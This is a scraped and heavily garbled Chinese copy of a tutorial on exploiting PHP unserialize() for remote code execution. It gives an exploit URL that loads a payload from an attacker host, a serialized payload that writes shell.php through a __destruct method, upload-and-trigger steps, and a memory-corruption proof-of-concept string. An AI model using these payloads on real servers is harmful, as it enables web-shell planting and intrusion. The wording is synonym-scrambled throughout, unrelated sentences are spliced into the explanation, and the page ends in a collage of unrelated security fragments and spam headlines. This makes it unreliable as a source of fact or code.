*** 黑 *** 务:经过PHP反序列化进行长途代码履行

访客4年前黑客工具477

在NotSoSecure,我们每日都会进行浸透检验或代码查看,不过最近我们遇到了一段风趣的PHP代码,它或许会导致远程代码实行(RCE)缝隙,但对它进行运用却有点扎手。

在阅历了几个企图破解这段代码的不眠之夜后,我们坚信运用这个缝隙可以一起进行运用级和系统等级的代码实行。这篇来自Rahul Sasi的博文将解说关于该缝隙的一些信息,以及怎样对其进行运用。

0×01 包括缝隙的代码

在上面的代码中,用户操控的值或许会被传递给PHP的反序列化函数。在用户供应的输入未进行恰当处理就传递给函数unserialize()时,此刻就有或许导致该缝隙的发作。因为PHP中容许方针序列化,所以侵犯者可以经过将特别的序列化字符串传递到一个软弱的unserialization()调用中,以此导致一个恣意的PHP方针注入到运用程序规模中。在我们的代码中,运用程序接纳一个文件名,接着运用PHP中的file_get_contents函数读取内容。然后,将输出内容输入到PHP的反序列化模块。之前现已说到,上面的缝隙可以一起进行运用级和系统等级的代码实行,所以接下来我们将深化分析该缝隙。

 

为了成功地运用上述缝隙,有必要满意三个条件:

1、运用程序中有必要含有一个完成某个PHP魔幻 *** (例如__wakeup或许1、建议不要翻开不明来历的邮件附件,关于邮件附件中的文件要稳重作业,如发现有脚本或其他可实行文件可先运用杀毒软件进行扫描;__destruct)的类,可以用这个类进行恶意侵犯,或许开端一个“POP链”。

2、当调用软弱的unserialize()时,有必要声明侵犯期间所运用的一切类,不然有必要为这些类支撑方针主动加载。

3、传递给反序列化操作的数据有必要来自于一个文件,所以服务器上有必要包括有一个包括序列化数据的文件。

参阅: https://www.owasp.org/index.php/PHP_Object_Injection

在上面的场景中,条件1和条件2是为了满意于缝隙运用。但是,因为反序列化操作的输入值来自于PHP中file_get_contents读取的一个文件,所以对该缝隙的运用有些扎手。

假如敞开了allow_url_fopen(最新的PHP版别默许禁用),那么PHP函数file_get_contents可以接纳远程URL作为其参数。在这种情况下,侵犯者可以向该函数中输入一个包括一个恶意文件的URL,该文件中包括了序列化的植入于一个远程服务器上的恶意数据。

http://vul-server/unsearilize.php?session_filename=http://attacker/exp.txt

0×02 exp.txt内容

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

但不幸的是,我们检验的运用程序中并没有敞开allow_url_fopen。留意:包括一个/proc/self/environ这样的文件或许任何相似的内容(例如拜访日志)都不或许,因为序列化字符串不应该包括垃圾数据。所以,我们的文件应该只包括用于缝隙运用的序列化数据。

在解说怎样运用上面的代码之前,我们先解说一些有关PHP方针注入运用的常识,并分析上面的载荷(payload)究竟做了什么。

0×03 PHP方针注入

根据PHP反序列化的安全问题首先在2009年由Stefan Esser记载。现在,根据 *** ON的运用序列化模块运用量显着增多,所以让我们深化了解一下序列化模块。

0×04 PHP序列化

为了在一个数组中保存内容,PHP中会调用一个函数serialize(),它接纳一个给定的数组作为输入参数,并可以将数组的内容转换成正常的字符串,然后你就可以将字符串内容保存在一个文件中,也可以作为URL的一个输入值,等等。

参阅: http://www.hackingwithphp.com/5/11/0/saving-arrays

接下来,下图中序列化一个包括3个字符的字符串数组。

了解序列化的字符串:

a:3{               Array of 3 values   i:0                Integer, value [ index-0]   S:5:”Lorem”      String, 5 chars long, string value “Lorem”   i:1                Integer, value [index-1]   S:5:”Ipsum”      String , 5 chars long, string value “Ipsum”   i:2                Integer, value [index-2]   S:5:”Dolor”      String , 5 chars long, string value “Dolor”

0×05 PHP反序列化

unserialization()是serialize()的相反操作函数。它需求一个序列化的字符串作为其输入,并将其转换回一个数组方针。别的,考虑到方针实例化和主动加载,反序列化或许会导致代码被加载并被实行。

比如:

value=‘a:1:在设备的时分直接不设备webdav组件{s:4:"Test";s:17:"Unserializationhere!";}’unserialization($value);

0×06 PHP主动载入

在PHP中,我们可以界说一些特别函数,它们可以被主动地调用,所以这些函数不需求函数调用来实行它们里边的代码。考虑到这个特性,这些函数一般被称为魔幻函数或魔幻 *** 。PHP魔幻 *** 称号受限于PHP所支撑的部分关键字,例如construct、destruct等等。

此外,最常用的魔幻函数是__construct(),因为PHP版别5中,__construct *** 实际上是你所界说的类的结构函数。关于一个给定的类,假如PHP 5找不到__construct()函数,那么它将搜索一个与类姓名相同的函数,这是PHP中编写结构器的老 *** ,这种 *** 中你只需求界说一个姓名与类名相同的函数。

下面是PHP中的一些魔幻函数:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().

下面是PHP中的一些魔幻 *** :

Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringRe *** 电视,以及其他所谓的物联网设备,从出世它们的缝隙就一贯没断过。这次我们要介绍的是针对Vizio智能电视的中间人侵犯,它在与服务器验证HTTPS证书时是可以被绕过的。flectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString

参阅:http://www.programmerinterview.com/index.php/php-questions/php-what-are-magic-functions/

0×07 方针实例化

实例化是指:当经过在内存中创立类的一个实例时,一个类的具体化就变成了一个方针。所以,当你真实调用new class()时,class()就成为了一个实例化的方针。当你反序列化一个字符串时,而这正是PHP所做的(方针实例化),就会将一个字符串的数组转换成方针。反序列化方针容许操控一切特点:public、protected和private。但是,反序列化方针经过__wakeup()复苏,后来经过__destruct()被毁掉,因而这些(wakeup、destruct)魔幻函数中现已存在的代码将会得到实行。

参阅:http://www.nds.rub.de/media/nds/attachments/files/2011/02/RUB2011-SecurityProblemsInWebApplicationsExceptInjectionVulnerabilities.pdf

所以,我们需求找到_destruct或_wakeup内界说的现有可用的代码,然后绑架运用程序的流程。

在我们软弱的程序中,__destruct函数中包括一个函数file_put_contents:

所以我们的有效载荷(payload)看起来是这样的:

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
 O:3{:                            [ Object, takes 3 parameter with name foo]   ”foo”: 2:{                     [Parameter foo takes 2 values]   S:4:”file”;s:9:”shell.php”;  [String, 4 chars long, value “file”, string 9 chars long, value                                  shell.php]   s:4:”data”;s:5:”aaaa”;}      String, 4 chars long, string 5 chars long, value”aaaa”

所以当我们上面输入的是反序列化的字符串时,它容许操控类“foo”的特点。因而,魔幻 *** “__destruct”中存在的代码将会以我们操控的值来实行,在我们的比如中为file_put_contents,创立一个文件“shell.php”。

0×08 缝隙运用

在我们的比如中,因为输入到unserialization()函数的是内容是从file_get_contents中读取的文件。

$file_name = $_GET['session_filename'];unserialization(file_get_contents($file ));

所以,我们检验的其间一件事便是,找到一个 *** 来将exp.txt存放在服务器上。为此,我们有必要找到一个文件/图片上传功用,然后以序列化的有效载荷上传该文件。然后,我们要做的便是以下面的 *** 触发。

http://vul-server/unsearilize.php?session_filename=images/exp.txt

运用CVE-2014-8142和CVE-2015-0231可以进行系统级远程代码实行:

“Use-after-free缝隙存在于ext/standard/var_Unserializationr.re中的函数process_nested_data内,该缝隙存在于PHP 5.4.36的之前版别、5.5.20之前的5.5.x版别以及5.6.4之前的5.6 x版别中,它容许远程侵犯者经过一个精心编制的反序列化调用实行恣意代码,因为在一个方针的序列化特点中,这个调用影响到了对重复键的不恰当处理。”

https://bugs.php.net/bug.php?id=68710

上面的缝隙影响中心PHP unsearilize函数,这个POC由Stefan Esser发布,我们曾企图优化并运用该缝隙使代码实行成为或许,因为假如成功地进行了运用,那么将可以做到系统级的远程代码实行。

0×09 PHP+Apache安全架构

这些图现已足以具体解说PHP架构。

1)假如我们可以在PHP中的上下文实行代码,那么我们将可以打破许多约束。

2)应该可以经过shell拜访加固的PHP主机。

我的作业依然集中于这方面,而且我发现“Tim Michaud”在相同的网站上也能作业。我们将很快更新这篇博文。

http://[IP]/unsearilize_rce_poc.php?s=O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:50:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';

 

0x0A 参阅资料

1、http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html

2、https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes

3、http://php-autoloader.malkusch.de/en

4、https://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection

5、http://security.stackexchange.com/questions/77549/is-php-Unserialization-exploitable-without-any-interesting-

6、http://xahlee.info/php-doc/

7、http://phppot.com/php/php-magic-methods

8、http://php.net/manual/en/

9、http://stackoverflow.com/questions/1枚举服务,删去处于黑名单中的服务1630341/real-time-use-of-php-magic-methods-sleep-and-wakeup

*参阅来历:notsosecure,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)

*** 黑 *** 务:经过PHP反序列化进行长途代码履行

#-*- coding:utf8 -*-6、SQLAGENTSAK.exe进程遍历系统进程查找杀软进程 syscalls.dup2 equ 0x214、 运用已启用的插件进行检验;通过PHP反序列化进行远程代码执行

*** 黑 *** 务# In cases where a server has multiple threads, we want to be sure thatdocker-compose up -d410f0000// data length

run.bat文件用于批改FreeSSHDService.ini和打包EXE,run.bat代码如下:卡巴斯基发布了相关的工作说明及技术分析,与360挟制情报中心的分析完全一致,工作可以比较明确地认为是根据源码层次的恶意代码植入。非正常的 *** 行为导致相关的恶意代码被卡巴斯基发现并陈说软件厂商,在8月7日NetSarang发布陈说时事实上现已出现了恶意代码在用户处发起实行的情况。同日NetSarang更新了8月7日的公告,加入了卡巴斯基的工作分析链接,符号删除了没有发现问题被运用的说法。Run waterfox.exe *** 黑 *** 务

3.1 动态代码注入的进程 有了认证与授权层后,物联网设备之间的信任链就建立起来了,彼此传递相关的、适合的信息。例如,一辆轿车或许与同一供货商的另一辆轿车建立信任联盟。但是,这种信任联络或许只容许轿车之间就安全这一项功用进行交互。当同一辆轿车与其经销商 *** 之间建立信任联盟时,这辆轿车或许就可以同享程表读数、毕竟保护记载等其它附加信息。r15:程序计数器pc,其时指令地址。

我们上文说了,ROP技术并不能绕过Canay保护 *** ,所以我们编译这个程序的时分需求关闭对战保护程序。我们可以运用下面的指令编译。9 – 查看翻开的端口

Lynis是一个为系统管理员供应的 Linux和Unix的审计东西 。 通过PHP反序列化进行远程代码执行

*** 黑 *** 务图 3 登录后的界面然后,用“fastboot boot”指令引导Android的新内核。除了新建的内核和原始ramdisk,还需指定内核偏移量,ramdisk偏移量,标签偏移量和指令行(运用在之前提取的bootimg.cfg中列出的值)。 TMOUT=`cat /etc/profile | grep TMOUT | awk -F[=] '{print $2}'`

WoSign 最近曝出一大堆问题,而且其处理问题的心情、解决问题的 *** 十分令人担忧。其官方形象也很糟糕,比如对国内 Let's Encrypt 用户进行 FUD 式挟制,比如只撤消了因 bug 误发的 GitHub 域名的证书,给某大学误发的证书视若无睹。具体问题有喜好的可以去相关邮件组查看谈论。

之一, 10秒之内登录你的 VPS 供应商账号,关机。二、查看ISAKMP情况 *** 黑 *** 务

ssl_session_cache shared:SSL:50m;

...通过PHP反序列化进行远程代码执行

Drozer反射机制的中心在于其ReflectedType机制。Drozer行将反射调用的方针分为array,binary,object,primitive,string,null等类型,这些类均由继承自ReflectedType的类来单独标明。ReflectedType中完成了根据不同类型,将不同的反射央求分发到指定的反射类中。这些继承自ReflectedType的反射类,在其内部运用“映射”的 *** ,完成了将远程的各种方针映射到本地的 *** ,在这些类中完成了该方针所支撑的操作,使得我们在运用反射操作远程方针时,就像操作本地方针相同。MBAP报头字段如下:

前三部分现已验证了用IDAPython可以让作业变的更简略,这一部分让我们看看逆向工程师怎样运用IDAPython的颜色和健壮的脚本特性。因为需求与方位无关的代码,我们想把字符串作为代码的一部分,因而有必要把字符串存储在栈上,正如你将在本文后续内容中所看到的。
本文标题: *** 黑 *** 务:经过PHP反序列化进行长途代码履行

相关文章

黑客在牢里(黑客出狱后生活怎么样)

黑客在牢里(黑客出狱后生活怎么样)

本文目录一览: 1、被国际刑警盯上的黑客是好的还是坏的? 2、黑客犯法吗? 3、我看到大街上有正规的黑客店面,黑客赚钱吗,黑客会不会坐牢啊 4、哪本小说女主是黑客大神,在美国坐过牢,好像外...

真正的文案灵感,应从诗人那里来!

真正的文案灵感,应从诗人那里来!

昔人写起房地产告白来,比告白人还能吹。所以假如能重来,告白人必然要选李白! 作者:尽力同学 来历:告白文案圈(ID:copyquan)独家编辑 众所周知, 写房地产文案的告白人, 有多会吹 呼呼...

黑客教你清理手机储存空间  黑客入门完整版教程

菜鸟学习初级教程—–强烈推荐(看完后成黑客拉) 第一篇 看完的人10个有9个成了黑客 看完的人10个有9个成了黑客 还有一个是BC 然而看完的人 视力全下降1度 黑客的基本技能 1、黑...

怎么用打印机发传真给别人(怎么发传真步骤图解)

打印机发传真是将打印机与电话结合构成的一种新型电话,传真电话利用电话线路作传真信号的传输通路,拨通对方电话号码就接通了传真设备,把要传递的文件和图片等资料存入信口,对方就能得到传真副本。可以解...

香港房产信息:天铸加推3伙3房于本周六推售 2伙

文章转载自:香港地产资讯网 新地旗下何文田天铸加推单3伙,据新公布售安排显示,将于本周六(8月8日)发售的3伙3房单位 ,分别为第7座8楼A室单位、16楼A室单位及20楼A室单位,面积为1,066方...

黑客帝国矩阵启动(黑客帝国 矩阵革命)

黑客帝国矩阵启动(黑客帝国 矩阵革命)

本文导读目录: 1、黑客帝国中的"矩阵"是什么?为什么在尼欧前有6任救世主?如何杀死史密斯? 2、黑客帝国中的矩阵到底指什么? 3、黑客帝国中矩阵是机器创造的吧?那么人是怎么进入矩阵的?...